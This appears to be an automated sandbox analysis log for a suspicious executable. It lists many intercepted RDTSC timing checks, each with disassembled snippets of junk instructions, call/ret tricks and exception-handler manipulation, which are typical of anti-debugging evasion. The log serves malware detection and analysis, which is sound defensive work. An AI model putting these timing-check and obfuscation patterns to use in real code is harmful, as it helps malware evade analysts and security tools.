Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78B455 second address: 78B4C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FA3EC8736D8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push edx 0x00000026 mov dword ptr [ebp+122D38E5h], edx 0x0000002c pop ebx 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 jmp 00007FA3EC8736DEh 0x00000035 pop edi 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007FA3EC8736D8h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jnc 00007FA3EC8736D8h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78C4DD second address: 78C4E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78C4E1 second address: 78C4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78A62F second address: 78A6EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FA3EC7880BCh 0x0000000f jbe 00007FA3EC7880B6h 0x00000015 popad 0x00000016 mov dword ptr [esp], eax 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007FA3EC7880B8h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 jmp 00007FA3EC7880BCh 0x00000038 mov di, 9341h 0x0000003c mov dword ptr [ebp+122D1CFEh], ecx 0x00000042 push dword ptr fs:[00000000h] 0x00000049 mov dword ptr [ebp+122D28E0h], esi 0x0000004f mov dword ptr fs:[00000000h], esp 0x00000056 mov bx, 8984h 0x0000005a mov eax, dword ptr [ebp+122D0679h] 0x00000060 add dword ptr [ebp+122D365Bh], esi 0x00000066 push FFFFFFFFh 0x00000068 push 00000000h 0x0000006a push edi 0x0000006b call 00007FA3EC7880B8h 0x00000070 pop edi 0x00000071 mov dword ptr [esp+04h], edi 0x00000075 add dword ptr [esp+04h], 0000001Ch 0x0000007d inc edi 0x0000007e push edi 0x0000007f ret 0x00000080 pop edi 0x00000081 ret 0x00000082 nop 0x00000083 push eax 0x00000084 push edx 0x00000085 push eax 0x00000086 push edx 0x00000087 jmp 00007FA3EC7880BDh 0x0000008c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78A6EB second address: 78A6F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7873CA second address: 7873CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78A6F1 second address: 78A6F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7873CE second address: 7873D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78D408 second address: 78D481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push edx 0x00000009 call 00007FA3EC8736D8h 0x0000000e pop edx 0x0000000f mov dword ptr [esp+04h], edx 0x00000013 add dword ptr [esp+04h], 0000001Ch 0x0000001b inc edx 0x0000001c push edx 0x0000001d ret 0x0000001e pop edx 0x0000001f ret 0x00000020 mov edi, eax 0x00000022 mov ebx, edx 0x00000024 push 00000000h 0x00000026 sub bx, D33Bh 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007FA3EC8736D8h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 0000001Dh 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 xchg eax, esi 0x00000048 jmp 00007FA3EC8736E5h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78D481 second address: 78D485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78B639 second address: 78B65C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007FA3EC8736E0h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78D485 second address: 78D49D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78B65C second address: 78B6C3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 call 00007FA3EC8736E8h 0x0000000c mov ebx, dword ptr [ebp+122D3431h] 0x00000012 pop ebx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a adc edi, 74283BF2h 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 mov bh, 21h 0x00000029 mov eax, dword ptr [ebp+122D06BDh] 0x0000002f push FFFFFFFFh 0x00000031 jmp 00007FA3EC8736E4h 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a jmp 00007FA3EC8736DAh 0x0000003f pop eax 0x00000040 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78E3E6 second address: 78E45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007FA3EC7880BDh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e popad 0x0000000f nop 0x00000010 mov bx, cx 0x00000013 jmp 00007FA3EC7880C0h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007FA3EC7880B8h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 mov ebx, dword ptr [ebp+122D1D06h] 0x0000003a mov ebx, dword ptr [ebp+122D2EC7h] 0x00000040 push 00000000h 0x00000042 xchg eax, esi 0x00000043 jc 00007FA3EC7880C4h 0x00000049 jmp 00007FA3EC7880BEh 0x0000004e push eax 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78E45E second address: 78E462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78D5DE second address: 78D5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78D5E2 second address: 78D5F0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA3EC8736D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78D5F0 second address: 78D5F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 72ED7C second address: 72ED86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA3EC8736D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 795C93 second address: 795C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 795F33 second address: 795F37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 79A33C second address: 79A35A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FA3EC7880B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 pop edi 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jne 00007FA3EC7880B6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 738F31 second address: 738F35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 79B9C6 second address: 79B9EE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA3EC7880B8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FA3EC7880BCh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007FA3EC7880BBh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 79B9EE second address: 79B9F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 79B9F2 second address: 79B9FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 79CEE4 second address: 79CEE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 79CEE8 second address: 79CEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 79CEF3 second address: 79CEF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A00ED second address: 7A013D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov eax, dword ptr [eax] 0x0000000c je 00007FA3EC7880C3h 0x00000012 jmp 00007FA3EC7880BDh 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 jmp 00007FA3EC7880C3h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A013D second address: 7A0143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A4EF6 second address: 7A4F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA3EC7880BEh 0x00000009 pop ebx 0x0000000a pushad 0x0000000b jmp 00007FA3EC7880C5h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A4F28 second address: 7A4F3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FA3EC8736D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jbe 00007FA3EC8736D6h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A3C01 second address: 7A3C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA3EC7880B6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A3C12 second address: 7A3C20 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA3EC8736D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A3C20 second address: 7A3C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA3EC7880B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A4319 second address: 7A431F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A431F second address: 7A433B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A433B second address: 7A434F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA3EC8736DBh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A434F second address: 7A4367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA3EC7880C0h 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A4658 second address: 7A4664 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA3EC8736D6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A4664 second address: 7A466E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FA3EC7880B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A466E second address: 7A46A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FA3EC8736E3h 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007FA3EC8736D6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A47D4 second address: 7A47D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A4977 second address: 7A4985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jbe 00007FA3EC8736D6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A4985 second address: 7A498F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FA3EC7880B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A4D88 second address: 7A4DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FA3EC8736E2h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A9C3B second address: 7A9C45 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA3EC7880B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A9EC9 second address: 7A9ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A9ECD second address: 7A9ED7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA3EC7880B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A9ED7 second address: 7A9EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jo 00007FA3EC8736D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7A9EE7 second address: 7A9EF1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA3EC7880B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA01F second address: 7AA058 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736E8h 0x00000007 jmp 00007FA3EC8736DCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jp 00007FA3EC8736DCh 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA058 second address: 7AA05C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA05C second address: 7AA060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA060 second address: 7AA0A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA3EC7880C3h 0x0000000c jmp 00007FA3EC7880C1h 0x00000011 jmp 00007FA3EC7880C2h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA30E second address: 7AA31D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FA3EC8736DAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA31D second address: 7AA326 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA46D second address: 7AA48A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA48A second address: 7AA496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA3EC7880B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA496 second address: 7AA49B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA620 second address: 7AA624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA624 second address: 7AA628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA781 second address: 7AA792 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880BDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA792 second address: 7AA7AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA3EC8736E7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA7AF second address: 7AA7B9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA3EC7880BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA7B9 second address: 7AA7EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FA3EC8736DDh 0x0000000a jmp 00007FA3EC8736E8h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AA7EC second address: 7AA7F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 760A77 second address: 760A90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jne 00007FA3EC8736D6h 0x0000000b jmp 00007FA3EC8736DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 760A90 second address: 760A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FA3EC7880B6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 760A9F second address: 760AA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7B0497 second address: 7B049D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 73E046 second address: 73E04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7AF6E0 second address: 7AF6E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7B3C48 second address: 7B3C67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FA3EC8736E8h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7BAFD8 second address: 7BAFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 774E27 second address: 774E2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 774E2C second address: 774E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA3EC7880BBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 774F66 second address: 774F6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
